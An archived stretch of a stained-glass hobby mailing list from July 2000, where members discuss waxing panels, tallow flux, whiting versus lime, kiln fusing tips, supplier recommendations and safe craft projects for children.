with small kits.  When I took several classes in leading (one from our
favorite Viking), the use of the cement/putty and the whiting was said to
eliminate the need for waxing.  I think it is the boiled linseed oil
component, along with the lamp black that actually affects the coloration
of the lead, plus the oil leaves a thin film over the whole of the piece
which glistens.

I have experimented with the cement and whiting on a foiled piece, because
I wanted that old lead/pewter look, and had no patina on hand.  It worked
and looked just as I wanted it to, but a foiled piece is definately more
delicate and it is all too easy to lift the foil.  I would be very chary of
doing it again just because of that.  To really clean the glass with
whiting, you have to use some muscle - not a good thing for foil.

Another thing to consider is that, for the most part, your flux* never
touches the glass when soldering came.  Therefore you do not have to
subject the piece to the washing process necessary with foil.  Depending on
your water supply, how any glass dries, even when using a dish towel, is
dependent on the water quality and the amount and kind of minerals in it.
I know from childhood experience that the "water" around Bay City,
Michigan, not only tasted foul, but it etched glass and also left a nasty
residue.  (There was a reason why Dow Chemical was founded near there and
had boron wells all over the place!)  I think water also has a tendency to
dull the solder.  When you wax your piece, everything sparkles, and that
sparkle lasts, even when handled.  I simply like the look.

Another thing is, I think it renders the piece safer for casual handling,
especially if you have used leaded solder.  I've not used lead-free solder
enough to know, but my initial impression is I don't like it - it's harder
to use.  So if  I'm doing small things - suncatchers, nite lites, etc., I
prefer to get a coating of wax between the kid (or adult) who picks it up
and looks at it and the lead.  You know most of them wouldn't think about
the lead dangers.  When I sell or give something away, I try to advise the
parents of young children not to let then handle pieces because they will
put them in their mouths, but if a piece is sold in a craft shop (none of
mine - never had enough to even think about it), rarely do you see any
enclosure with it telling about care and handling, and most shop owners are
not well versed in the subject either.

What I have not done is try the wax on a leaded piece.  Maybe I'll do a
little thingy and give it a try.  Anyway, I hope this helps you see why
some of us do like to wax.  - Cec

* - I did try using Elisabeth's tallow as a flux on a foiled piece.  Worked
just fine, but, of course, it took detergent and water to get rid of the
residue.  I like the tallow, actually, because it stays right where you put
it.

Steve Richard wrote:

> I just have to ask.
> Why put turtle wax (a car wax, am I right?) on the glass?  I understand
> about putting it on the patina-ed solder, but not the glass.  If the
> glass is to be kept clean, the wax would only seem to be receptive to
> the dust that circulates.
>
> I do come from the leaded window tradition where the window is cleaned
> with whiting ( a mildly abrasive powder) that provides great clarity to
> the glass and a lovely black patina to the lead.
>
> What is the performance or look of the window sized panel after 6 months
> or a year with the polish on the glass?  You see I am sceptical, but not
> entirely disbelieving, that this is the appropriate way to treat a
> window panel.  If turtle wax is good on copper foiled panels, why not on
> leaded ones too?  and if not on leaded panels why is it good on foiled?
>
> Are there any experiences relating to turtle wax on leaded panels? Would
> anyone do it? if not, why not?  Etc.  What happens when you combine
> copper foil in leaded panels?  do you cement as normal and then wax the
> copper foil portion, wax the whole, or scrub the whole with whiting?
>
> What are your reactions to my questions, even if you don't have the
> experience of doing these things?
>
> Steve
>
> In message <1970Jan1.000.0@?>, Cecily and Ralph Wood
> <cecnralph@home.com> writes
> >Blessings on whomever suggested using clear Turtle Wax spray.  Just did
> >a large window sized panel (foiled) with it and it took almost no time
> >and looks super.  Protects the patina, and shines up the glass and it
> >doesn't show fingerprints (much - depending on whose fingers). - Cec
> >
> >--
> >*********************************************************************
> >*  Cecily Taylor Cummings Wood  and/or  Ralph Bernard Wood
> >*  Grendel Studio (Glass, Graphics, Gardens, Genealogy)
> >*********************************************************************
> >
> >
> >----
> >For subscription changes, please mail to: glass-request@bungi.com
> >To send to the list,      please mail to: glass@bungi.com
> >Archives available at http://www.bungi.com/glass
>
> --
> Steve Richard
> Verrier Art Glass Ltd
> s.richard@verrier-scotland.demon.co.uk

--
*********************************************************************
*  Cecily Taylor Cummings Wood  and/or  Ralph Bernard Wood
*  Grendel Studio (Glass, Graphics, Gardens, Genealogy)
*********************************************************************


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From owner-glass Thu Jul 20 21:01:35 2000
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X-Path: go.com!officerjqg
From: James Garner <officerjqg@go.com>
To: glass@bungi.com
Content-Type: text/plain; charset=iso-8859-1
Subject: Re: spray wax
Date: Thu, 20 Jul 2000 20:54:13 -0700 (PDT)
Message-ID: <1970Jan1.000.0>
Precedence: bulk

     Finally, a subject I know a little about.  Waxing is good.  Oxidation is bad.. After I waxed my first piece I was amazed at the difference of the appearance.  Your piece really stands out when it shines like that new Cherry Red sports car.  Plus its keeps the weather out.   
     I applied the wax to pieces that I put in my garden stakes.  Even after many storms, wind and days of 100 plus steps the pieces look as new as the day they were done.
     If you wax, I learned, that it really important to get every ounce of excess wax off.  It looks like corrosion in a few days.  So a really good scrub brush is important in the cleaning process.
     WARNING If you took a short cut or made a mistake in the construction of the piece, i.e. bad sodder line that you got tired of trying to correct, it will show up ten fold after waxing.  It will also tend to lighten up black patina greatly.  If you use 0000 steel wool on the sodder before patinaing it won't fade near as bad.  
                               
                                      James
James Garner
___________________________________________________
GO Network Mail                                    
Get Your Free, Private E-mail at http://mail.go.com


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From owner-glass Fri Jul 21 06:30:42 2000
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From: Cecily and Ralph Wood <cecnralph@home.com>
To: Romajoco@aol.com, Bungi Glass <glass@bungi.com>
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Subject: Re: spray wax
Date: Fri, 21 Jul 2000 09:10:48 -0400
Message-ID: <1970Jan1.000.0>
References: <<e2.76dba27.26a998f2@aol.com>>
Organization: Grendel Studios
Precedence: bulk

In Great Britain (elsewhere for all I know) they have what is
essentially a candle without a wick, made of high grade tallow (beef
fat).  You use it as a flux by simply rubbing it on the place you are
going to solder.  No chemical smell, either.  It does smell as though
you had a roast in the oven.  I'm not aware of any US supplier, but you
can order then from a British stained glass supplier.  There are several
on the web you can do business with.  The candles themselves are very
cheap and one can last quite a long time.  The ingredient in animal fat
is oleic acid.  I have seen bottles of oleic acid flux - bought one
actually - but I don't like it anywhere near as much as the candles.

Romajoco@aol.com wrote:

> In a message dated 07/20/2000 10:02:21 PM Central Daylight Time,
> cecnralph@home.com writes:
>
> << I did try using Elisabeth's tallow as a flux on a foiled piece. >>
> What is Elisabeth's tallow?
>
> Margie

--
*********************************************************************
*  Cecily Taylor Cummings Wood  and/or  Ralph Bernard Wood
*  Grendel Studio (Glass, Graphics, Gardens, Genealogy)
*********************************************************************


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From owner-glass Fri Jul 21 08:13:21 2000
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From: "Christie A. Wood" <Ensembles@compuserve.com>
To: Bungi <glass@bungi.com>
Content-Type: text/plain;
Subject: Re: spray wax
Date: Fri, 21 Jul 2000 11:01:12 -0400
Message-ID: <1970Jan1.000.0>
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Message text written by Cecily and Ralph Wood
>She, however, had no experience with leading, other than as a border, or=

with small kits.  When I took several classes in leading (one from our
favorite Viking), the use of the cement/putty and the whiting was said to=

eliminate the need for waxing.  I think it is the boiled linseed oil
component, along with the lamp black that actually affects the coloration=

of the lead, plus the oil leaves a thin film over the whole of the piece
which glistens.<

Yes, the boiled linseed oil component in the putty does leave a
thin film over all the glass in a leaded panel.  We use a clean
cotton rag to rub it off both the glass and the lead lines.  But
sometimes that does not sufficiently remove the oil film on
the glass, and we have to resort to semi-chrome polish or
kemopro to finally remove the oil residue prior to shipping the
panel off to the cabinet-maker.

Christie A. Wood
North Wales, PA USA
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From owner-glass Fri Jul 21 11:48:26 2000
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From: Cecily and Ralph Wood <cecnralph@home.com>
To: Patty.McMaster@fbol.com, Bungi Glass <glass@bungi.com>
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Subject: Re: spray wax
Date: Fri, 21 Jul 2000 14:42:09 -0400
Message-ID: <1970Jan1.000.0>
References: <<OF8F686CC6.39584BB3-ON86256923.004D13A6@firstbank-online.com>>
Organization: Grendel Studios
Precedence: bulk

The first two are Bungi people.  Hetley's is the largest glass supplier
in the UK, and I got my candles there when I was in London, but they
take phone orders, and they now have an online catalog.

Elizabeth in Bournemouth
http://www.stainedglass.co.uk

Steve Richard
Verrier Art Glass Ltd
s.richard@verrier-scotland.demon.co.uk

James Hetley & Sons
www.hetleys.co.uk

Patty.McMaster@fbol.com wrote:

> Can you give me the name of a British Stain GLass Dealer ?

--
*********************************************************************
*  Cecily Taylor Cummings Wood  and/or  Ralph Bernard Wood
*  Grendel Studio (Glass, Graphics, Gardens, Genealogy)
*********************************************************************


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From owner-glass Fri Jul 21 13:00:46 2000
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From: ARTIZ01@aol.com
To: GLASS@bungi.com
Content-Type: text/plain; charset="US-ASCII"
Subject: Whiting Powder
Date: Fri, 21 Jul 2000 15:51:03 EDT
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Can you please tell me how to use whiting powder ? And  what is it used for?  
Is this a good cleaning for old windows?
Thanks Marie
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From owner-glass Fri Jul 21 14:00:59 2000
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From: "Brad Walker" <mbwalker@warmglass.com>
To: <ARTIZ01@aol.com>, <GLASS@bungi.com>
Content-Type: text/plain;
Subject: Re: Whiting Powder
Date: Fri, 21 Jul 2000 17:02:42 -0400
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

Whiting is calcium carbonate is lime is chalk is CaCO3 is a white,
crystalline, water-insoluble, tasteless powder.

It has a million uses, including:

Spreading on the lawn as fertilizer
Mixing with linseed oil to form putty
Mixing with water and other substances to form whitewash
Relieving indigestion and heartburn
A pigment in paint (Spanish white)
Polishing metalware
Forming texture on underside of fused glass
Coloring toothpaste and polishes
Making cement
Mixing for lots of pottery glaze formulas

The list goes on.  Those are just the ones that come to the top of the head.

I've never tried cleaning windows with it, but let us know if you do.  I'll
add it to the list.

Brad Walker
----------------------------------------------------------------------------
------
For information about warm glass techniques and processes
such as fusing, slumping, and kiln forming, please visit
the Warm Glass website at http://www.warmglass.com

----- Original Message -----
From: <ARTIZ01@aol.com>
To: <GLASS@bungi.com>
Sent: Friday, July 21, 2000 3:51 PM
Subject: Whiting Powder


> Can you please tell me how to use whiting powder ? And  what is it used
for?
> Is this a good cleaning for old windows?
> Thanks Marie
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass

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From owner-glass Fri Jul 21 14:54:01 2000
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X-Path: verrier-scotland.demon.co.uk!s.richard
From: Steve Richard <s.richard@verrier-scotland.demon.co.uk>
To: ARTIZ01@aol.com
Subject: Re: Whiting Powder
Date: Fri, 21 Jul 2000 21:47:52 +0100
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0@?>>
Precedence: bulk

Whiting is basically a form of calcium carbonate or chalk.  Casting
plaster (not plaster of paris) is similar.
        Whiting is used in the clean up process after cementing the
window.  The cement is brushed under the leads, and the whiting brushed
over and into the cement.  Repeated use of the whiting dries the surface
of the linseed oil cement, cleans the glass, and gives the came a black
patina.  For the latter you have to change to a softer brush to avoid
abrasion of the lead and the solder joints, which will also darken in
this fininshing process.
        If the old windows are still installed vertically, the whiting
will not be useful, as it is a powder.  It is only really useful after
releading has been done.
        To clean leaded windows, you should use repeated application of
plain water, and a soft brush to remove stubborn residues.  Window
cleaners with ammonia are NOT recommended.  Plain water remains the
best. 

Steve


ssage <1970Jan1.000.0@?>, ARTIZ01@aol.com writes
>Can you please tell me how to use whiting powder ? And  what is it used for?  
>Is this a good cleaning for old windows?
>Thanks Marie
>----
>For subscription changes, please mail to: glass-request@bungi.com
>To send to the list,      please mail to: glass@bungi.com
>Archives available at http://www.bungi.com/glass

-- 
Steve Richard
Verrier Art Glass Ltd
s.richard@verrier-scotland.demon.co.uk
----
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From owner-glass Fri Jul 21 15:56:43 2000
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From: Steve Richard <s.richard@verrier-scotland.demon.co.uk>
To: Patty.McMaster@fbol.com
Subject: Begining projects for fusing
Date: Fri, 21 Jul 2000 22:17:40 +0100
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0@?>>
Precedence: bulk

Patty,
        You can put various colours of the same manufacturer's glass
together on a clear piece from the same source in a tile like pattern or
on a strip.  Put these into the kiln and fire until rounded. Rapidly
cool until about 540 degrees Centigrade, hold the temperature there for
a little while (5 mins. maybe) and then cool slowly say 100 deg. C for
another 50 degrees C.  Then you can at least double the speed of cooling
for the next 50 degrees C. and then turn off and let the kiln cool
naturally.  This is of course for small pieces.  Larger projects require
more careful treatment.

There is a good site for learning a lot about fusing.  It is:
http://www.warmglass.com/
This will give you a great deal of information to help you on your way.

It is not necessary to buy expensive tested compatible glass to make
your first projects.  Instead test with the glass scraps you have.
Armstrong cathedrals and wispies are generally compatible.  

Spectrum glass also give a lot of information about their glasses on
their web site, including some firing schedules:
http://www.spectrumglass.com/index.html
They now have a tested compatible line too.

In general, the opalescents in these glasses do not fuse well, spectrum
requiring devitrification spray for all their opals and many of their
wispies.  It will also be required for any projects held for any length
of time at fusing temperatures.

There are better glasses (those that do not devitrify so easily) but are
not of the expensive tested compatible kind.  
 
If you are experimenting with glasses for which you do not know the
annealing point you will need to find it.  In the archives there is a
description of Shar Moorman's tests to find this.  If you need this, let
me know & I can post it again.

Steve


In message <1970Jan1.000.0@?>, Patty.McMaster@fbol.com writes
>Wayne -
>I have a kiln that has hardly ever been used & would like to try
>to fuse something  or just mess around w/-- any pointers?
>I have been doing stained glass for about 8 years
>& never once used my kiln
>
>HELP !!!!!!!!!!!!!!!!!!!!!!!!!!  times a wastin'
>
>----
>For subscription changes, please mail to: glass-request@bungi.com
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-- 
Steve Richard
Verrier Art Glass Ltd
s.richard@verrier-scotland.demon.co.uk
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From owner-glass Fri Jul 21 16:51:46 2000
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From: "Candy" <candy@ghostman.com>
To: "glass@bungi.com" <glass@bungi.com>
Content-Type: text/plain; charset="us-ascii"
Subject: Re: Whiting Powder
Date: Fri, 21 Jul 00 17:30:49 
Message-ID: <200007212333.RAA11521@mantis.privatei.com>
Precedence: bulk

So we can eat it, just can't breathe it??

Candy
(having fun a little)

On Fri, 21 Jul 2000 17:02:42 -0400, Brad Walker wrote:

>Whiting is calcium carbonate is lime is chalk is CaCO3 is a white,
>crystalline, water-insoluble, tasteless powder.
>
>It has a million uses, including:
>
>Spreading on the lawn as fertilizer
>Mixing with linseed oil to form putty
>Mixing with water and other substances to form whitewash
>Relieving indigestion and heartburn

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X-Path: home.com!cecnralph
From: Cecily and Ralph Wood <cecnralph@home.com>
To: Candy <candy@ghostman.com>, Bungi Glass <glass@bungi.com>
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Subject: Re: Whiting Powder
Date: Fri, 21 Jul 2000 23:49:34 -0400
Message-ID: <1970Jan1.000.0>
References: <<200007212333.RAA11521@mantis.privatei.com>>
Organization: Grendel Studios
Precedence: bulk

Yup.  When you use it, you don't need much - I put mine into a sugar
shaker, and apply it like sprinkling powdered sugar.  One shop I know
also uses sawdust along with the whiting.  It helps keep the dust down.
Have no idea where they constantly come up with the sawdust, though. -
Cec

Candy wrote:

> So we can eat it, just can't breathe it??
>
> Candy
> (having fun a little)
>
> On Fri, 21 Jul 2000 17:02:42 -0400, Brad Walker wrote:
>
> >Whiting is calcium carbonate is lime is chalk is CaCO3 is a white,
> >crystalline, water-insoluble, tasteless powder.
> >
> >It has a million uses, including:
> >
> >Spreading on the lawn as fertilizer
> >Mixing with linseed oil to form putty
> >Mixing with water and other substances to form whitewash
> >Relieving indigestion and heartburn
>
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass

--
*********************************************************************
*  Cecily Taylor Cummings Wood  and/or  Ralph Bernard Wood
*  Grendel Studio (Glass, Graphics, Gardens, Genealogy)
*********************************************************************


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From owner-glass Fri Jul 21 21:02:11 2000
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From: Cecily and Ralph Wood <cecnralph@home.com>
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Subject: polarizing light
Date: Fri, 21 Jul 2000 23:54:07 -0400
Message-ID: <1970Jan1.000.0>
Organization: Grendel Studios
Precedence: bulk

I've seen ads for a lamp (looks rather like a 12v flashlight) that
claims to aim polarizing light at glass you are thinking of fusing, and
that way you can tell if the COEs are compatible for fusing.  They claim
that way you don't have to keep the various compatibles together (and
keep track of which is which) but can just store your glass normally.
Anybody used this and does it really work? - Cec

--
*********************************************************************
*  Cecily Taylor Cummings Wood  and/or  Ralph Bernard Wood
*  Grendel Studio (Glass, Graphics, Gardens, Genealogy)
*********************************************************************


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From owner-glass Sat Jul 22 04:57:44 2000
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From: SGriffiSBG@aol.com
To: mbwalker@warmglass.com, ARTIZ01@aol.com, GLASS@bungi.com
Content-Type: text/plain; charset="US-ASCII"
Subject: Re: Whiting Powder
Date: Sat, 22 Jul 2000 07:30:42 EDT
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Does that mean I can just go out to the garden shed (where I have plenty of 
it) and get a cup of lime to use as whiting?   Shirley 
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From owner-glass Sat Jul 22 05:31:52 2000
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From: "Brad Walker" <mbwalker@warmglass.com>
To: <SGriffiSBG@aol.com>, <ARTIZ01@aol.com>, <GLASS@bungi.com>
Content-Type: text/plain;
Subject: Re: Whiting Powder
Date: Sat, 22 Jul 2000 07:55:02 -0400
Message-ID: <1970Jan1.000.0>
References: <<28.8478544.26aadfe2@aol.com>>
Precedence: bulk


> Does that mean I can just go out to the garden shed (where I have plenty
of
> it) and get a cup of lime to use as whiting?   Shirley

Except for the quality of it, you can.  Storebought lime isn't usually as
pure a grade of calcium carbonate as the whiting you buy.



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From owner-glass Sat Jul 22 08:28:29 2000
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From: "Alan" <Don'tMailHere@dot.com>
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Content-Type: text/plain;
Subject: New Store Toronto- ADV
Date: Sat, 22 Jul 2000 11:04:34 -0400
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Hello sorry for a bit of Spam, however I feel it is justified. In
Mississauga Ont. CA. Tina has opened her own store. In the Toronto area she
is well known. It is called " A Stained Glass Store". She has been in the
industry for over 20 yrs now. She worked for every major stained glass store
in the Toronto area on the floor and teaching. She has taught hundreds of
people over this time frame. Her previous employer has fully supported her
move forward and given her all professional support. She will be open 7 days
a week this summer to start. She is located at 945B Lakeshore Rd East. Phone
# 905-271-0047.  Postal Code L5E-1E3. That is right across from the 4
chimneys of the generating station in between Cawthra & Dixie on Lakeshore.
She has no web access yet.


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From owner-glass Sat Jul 22 09:28:55 2000
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From: rrk <ezbongo2@pacbell.net>
To: SGriffiSBG@aol.com
Content-Type: text/plain; charset=us-ascii
Subject: Re: Whiting Powder
Date: Sat, 22 Jul 2000 09:19:27 -0700
Message-ID: <1970Jan1.000.0>
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SGriffiSBG@aol.com wrote:

> Does that mean I can just go out to the garden shed (where I have plenty of
> it) and get a cup of lime to use as whiting?   Shirley

Hi Shirley,

NO.

Lime and whiting are NOT the same thing.

See my letter to Brad for details.

Regards ..... Bob



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From owner-glass Sat Jul 22 09:33:12 2000
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Subject: Re: Whiting Powder
Date: Sat, 22 Jul 2000 09:18:37 -0700
Message-ID: <1970Jan1.000.0>
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Brad Walker wrote:

> > Does that mean I can just go out to the garden shed (where I have=
 plenty
> of
> > it) and get a cup of lime to use as whiting?   Shirley
>
> Except for the quality of it, you can.  Storebought lime isn't usua=
lly as
> pure a grade of calcium carbonate as the whiting you buy.



Hi Brad,

This is incorrect and I feel a clarification is necessary.

Whiting is, by definition (CAS #: 471-34-1), the Calcium salt of Carb=
onic Acid
or CaCO3.  A synonym is Chalk.

Lime is, by definition (CAS #: 1305-78-8), Calcium Oxide or CaO.  Syn=
onyms are
quicklime and caustic lime.  Calcium Oxide is a colorless crystalline=
 or white
amorphous substance that has wide industrial uses such as in making p=
orcelain
and glass; in purifying sugar; in preparing bleaching powder, calcium=
 carbide,
and calcium cyanamide; in water softeners; in mortars and cements; an=
d in
treating acidic soil (liming). Lime is manufactured by roasting natur=
ally
occurring calcium carbonate (limestone) in a kiln producing carbon di=
oxide as
waste gas.

Depending on the source there are, in general, 3 major types of lime =
on the
market.
High calcium quicklime - containing usually 0.5 to 2.5 percent magnes=
ium
oxide.
Dolomitic quicklime - containing usually 35 to 40 percent magnesium o=
xide.
Magnesium quicklime - containing usually 5 to 10 percent magnesium ox=
ide.

The confusion may result from the fact that both Lime and Whiting hav=
e the
same industrial source : Limestone.

Limestone (primarily CaCO3, or Calcium Carbonate) is calcined, hydrog=
enated,
carbonated and then dried to get Calcium Carbonate. The following rea=
ctions
are involved.

 1. Calcination : CaCO3 -----> CaO + CO2
 2. Hydrogenation : CaO + H2O -----> Ca(OH)2
 3. Carbonation : Ca(OH)2 + CO2 -----> CaCO3 + H2O
 4. Drying : The excess water is evaporated through the drying proces=
s.

The Crystalline form of particles as well as the size and degree of
aggregation are regulated by varying the process conditions giving ma=
ny
different grades designed to meet the various needs of consumers. Cal=
cium
Carbonate is available in activated and precipitated grades.

An aside : Cement is produced by mixing calcium carbonate, silica, al=
umina,
iron oxide and gypsum which is fired and ground to form cement. (Ceme=
nt is
mixed with aggregate and water to produce concrete).

Do not substitute Lime for Whiting in stained glass work.

Best regards =85.. Bob K.






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From owner-glass Sat Jul 22 11:23:16 2000
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From: Bobfuses@aol.com
To: jeffrey@bayareastainedglass.com, glass@bungi.com
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Subject: Re: Painted Face of Christ
Date: Sat, 22 Jul 2000 14:09:42 EDT
Message-ID: <1970Jan1.000.0>
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>I need a clear glass oval painted with the face
>of Christ for a replacement
window in a mausoleum. The glass oval is>13.5" x 10.5". Can anyone recommend
where I can have this>done?

John Bera, 760 744-9282, is a noted ecclesiastical painter of many years 
experience. He is in San Marcos, CA. 
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From: "Albert Lewis" <alewis@alpha.nad.adelphia.net>
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Subject: Re: Painted Face of Christ
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Date: Sat, 22 Jul 2000 14:37:19 +0000
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> >I need a clear glass oval painted with the face
> >of Christ for a replacement

Another studio that immediately comes to mind (they produce, I 
believe, a whole *line of such painted medallions) is:

Bovard Studio
52 E. Briggs
Fairfield IA 52556 - 

Phone: ( 515 ) 472 - 7716


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Subject: Investment
Date: Sat, 22 Jul 2000 15:37:54 -0400
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When casting glass in a kiln, can you use the investment that metal smith
use to cast metal in when using the lost wax process of casting?  Annette


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From: Pamela Burns-Tappan <ptap@pacifier.com>
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Content-Type: text/plain; charset=us-ascii
Subject: Looking for info on Andre Laporter
Date: Sun, 23 Jul 2000 20:48:32 -0700
Message-ID: <1970Jan1.000.0>
Organization: Stained Glass Artists
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Hi All,

Anyone have a good suggestion on where to find the most comprehensive
info on Andre Laporter?

Thanks,

Pam

--

Ms. Pamela Burns-Tappan
Executive Director
The Stained Glass Artists
http://stainedglassartists.com



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From: "Sarah" <arasai@bright.net>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: Plaster of Paris
Date: Sun, 23 Jul 2000 08:43:10 -0400
Message-ID: <1970Jan1.000.0>
Precedence: bulk

I found two big buckets of plaster of paris that we have left over from a
remodeling project, and I came up with the idea of having my little girl
make some small mosaic boxes and coasters for her Christmas presents to
family members.
    Will plaster of paris work for this? Is there anything I should treat
the finished items with if she can use it? I thought this would be safer for
a seven year old to work with, and *grin* she's getting the "glass bug". I'm
trying to find safe projects for her, if anyone has suggestions, I would
appreciate any input.
    Thanks in advance...
Sarah Elizabeth


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Subject: Cleaning copper foil panels...
Date: Sun, 23 Jul 2000 11:13:48 EDT
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Hi,
What is the proper way to clean copper foil panels, (removing dust,smudges 
etc.)

Thanks
Ronda
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From: Bobfuses@aol.com
To: arasai@bright.net, glass@bungi.com
Content-Type: text/plain; charset="US-ASCII"
Subject: Re: Plaster of Paris
Date: Sun, 23 Jul 2000 11:55:39 EDT
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In a message dated 7/23/00 6:01:30 AM Pacific Daylight Time, 
arasai@bright.net writes:

> I found two big buckets of plaster of paris that we have left over from a
> remodeling project, and I came up with the idea of having my little girl
> make some small mosaic boxes and coasters for her Christmas presents to
> family members.
>      Will plaster of paris work for this?

Yes, but there are a few drawbacks. The dust is not good for her to breathe, 
the wet plaster is astringent, it sets up very quickly and so one must work 
quickly and it will clog up your drains if you wash out your container. Also 
it breaks on the first drop.

What about that magic recipe that has something like half flour and half 
table salt that makes a moldable clay like product that can be baked hard?

Cheers, Bob in 9 2 0 2 6
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From: psketty <psketty@tampabay.rr.com>
To: Bobfuses@aol.com, arasai@bright.net, glass@bungi.com
Content-Type: multipart/alternative;
Subject: ng - Re: Plaster of Paris
Date: Sun, 23 Jul 2000 12:39:14 -0400
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References: <<1970Jan1.000.0>>
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--=====================_107281972==_.ALT
Content-Type: text/plain; charset="us-ascii"; format=flowed

I agree with Bob's assessment of using plaster of paris for making 
handprint ornaments.  I use the following recipe for making a handprint 
dough that is safe to use even with infants.

Mix together:
1/2 cup salt
1 tbsp glycerin (available at the drug store)
1-1/2 cups very hot water
Dissolve as much of the salt in the hot water as you can before adding the 
dry ingredients.

Add:
3-1/2 cups sifted flour (do not use self-rising flour for this)
1-1/2 cups corn starch

Knead for 10 minutes (by the clock).  At end of kneading, consistency of 
dough should be like any regular bread dough.  Let cool.  Cut out & make 
prints.  Cut hole for hanging ribbon using a drinking straw.

Bake in 200-225 degree oven 4 - 6 hours, until ornaments begin to break 
around the edges.  Half-way through the baking time turn the ornaments over 
to allow even baking on front and back.  Cool.  Use wood filler for any 
boo-boos.

Paint with enamel paint (spray can - Rustoleum or Krylon).  Back of 
ornament may be personalized by using a Sharpie permanent marker.

If you have any questions, please feel free to e-mail me.  I make about 60 
- 70 of these ornaments each Christmas.  They are resilient and 
long-lasting (so far the oldest ornament I've made is over ten years old 
and still in perfect condition).
Best wishes!
Psketty

At 11:55 AM 7/23/2000 -0400, Bobfuses@aol.com wrote:
>In a message dated 7/23/00 6:01:30 AM Pacific Daylight Time,
>arasai@bright.net writes:
>
> > I found two big buckets of plaster of paris that we have left over from a
> > remodeling project, and I came up with the idea of having my little girl
> > make some small mosaic boxes and coasters for her Christmas presents to
> > family members.
> >      Will plaster of paris work for this?
>
>Yes, but there are a few drawbacks. The dust is not good for her to breathe,
>the wet plaster is astringent, it sets up very quickly and so one must work
>quickly and it will clog up your drains if you wash out your container. Also
>it breaks on the first drop.
>
>What about that magic recipe that has something like half flour and half
>table salt that makes a moldable clay like product that can be baked hard?
>
>Cheers, Bob in 9 2 0 2 6
>----
>For subscription changes, please mail to: glass-request@bungi.com
>To send to the list,      please mail to: glass@bungi.com
>Archives available at http://www.bungi.com/glass

A dog is a dog, a bird is a bird,
But a cat is a purrrrsssson >^,,^< 
--=====================_107281972==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>
I agree with Bob's assessment of using plaster of paris for making
handprint ornaments.&nbsp; I use the following recipe for making a
handprint dough that is safe to use even with infants.<br>
<br>
<font face="Times New Roman, Times" size=4><b>Mix together: <br>
</b>1/2 cup salt <br>
1 tbsp glycerin (available at the drug store)<br>
1-1/2 cups very hot water <br>
Dissolve as much of the salt in the hot water as you can before adding
the dry ingredients.<br>
<br>
<b>Add: <br>
</b>3-1/2 cups sifted flour (do not use self-rising flour for this)<br>
1-1/2 cups corn starch <br>
<br>
<b>Knead</b> for 10 minutes (by the clock).&nbsp; At end of kneading,
consistency of dough should be like any regular bread dough.&nbsp; Let
<b>cool</b>.&nbsp; <b>Cut out </b>&amp; make prints.&nbsp; <b>Cut hole
</b>for hanging ribbon using a drinking straw. <br>
<br>
<b>Bake </b>in 200-225 degree oven 4 - 6 hours, until ornaments begin to
break around the edges.&nbsp; Half-way through the baking time turn the
ornaments over to allow even baking on front and back.&nbsp;
<b>Cool</b>.&nbsp; Use wood filler for any boo-boos. <br>
<br>
<b>Paint</b> with enamel paint (spray can - Rustoleum or Krylon).&nbsp;
Back of ornament may be personalized by using a Sharpie permanent
marker.<br>
<br>
</font>If you have any questions, please feel free to e-mail me.&nbsp; I
make about 60 - 70 of these ornaments each Christmas.&nbsp; They are
resilient and long-lasting (so far the oldest ornament I've made is over
ten years old and still in perfect condition).<br>
Best wishes!<br>
Psketty<br>
<br>
At 11:55 AM 7/23/2000 -0400, Bobfuses@aol.com wrote:<br>
<blockquote type=cite cite>In a message dated 7/23/00 6:01:30 AM Pacific
Daylight Time, <br>
arasai@bright.net writes:<br>
<br>
&gt; I found two big buckets of plaster of paris that we have left over
from a<br>
&gt; remodeling project, and I came up with the idea of having my little
girl<br>
&gt; make some small mosaic boxes and coasters for her Christmas presents
to<br>
&gt; family members.<br>
&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Will plaster of paris work for
this?<br>
<br>
Yes, but there are a few drawbacks. The dust is not good for her to
breathe, <br>
the wet plaster is astringent, it sets up very quickly and so one must
work <br>
quickly and it will clog up your drains if you wash out your container.
Also <br>
it breaks on the first drop.<br>
<br>
What about that magic recipe that has something like half flour and half
<br>
table salt that makes a moldable clay like product that can be baked
hard?<br>
<br>
Cheers, Bob in 9 2 0 2 6<br>
----<br>
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</blockquote><br>
<div>A dog is a dog, a bird is a bird,</div>
But a cat is a purrrrsssson &gt;^,,^&lt;
</html>

--=====================_107281972==_.ALT--

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From: Bobfuses@aol.com
To: psketty@tampabay.rr.com, glass@bungi.com
Content-Type: text/plain; charset="US-ASCII"
Subject: Re: ng - Re: Plaster of Paris
Date: Sun, 23 Jul 2000 12:50:24 EDT
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In a message dated 7/23/00 9:41:52 AM Pacific Daylight Time, 
psketty@tampabay.rr.com writes:

> I use the following recipe for making a handprint 
>  dough that is safe to use even with infants.
>  
>  Mix together:
>  1/2 cup salt
>  1 tbsp glycerin (available at the drug store)
>  1-1/2 cups very hot water
>  Dissolve as much of the salt in the hot water as you can before adding the 
>  dry ingredients.
>  
>  Add:
>  3-1/2 cups sifted flour (do not use self-rising flour for this)
>  1-1/2 cups corn starch
>  
>  Knead for 10 minutes (by the clock).  At end of kneading, consistency of 
> dough should be like any regular bread dough.  Let cool.  Cut out & make 
> prints.  Cut hole for hanging ribbon using a drinking straw.
>  
> Bake in 200-225 degree oven 4 - 6 hours, until ornaments begin to break 
> around the edges.  Half-way through the baking time turn the ornaments over 
> to allow even baking on front and back.  Cool.  Use wood filler for any 
> boo-boos.

Thanks for posting the recipe. I believe that the dough would be good at 
holding pieces of glass for a mosaic. I seem to recall that the dough can be 
sealed in a baggie and it will last for at least a few days.

Cheers, Bob in 9 2 0 2 6
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From: Skip Hodge <shodge@gdi.net>
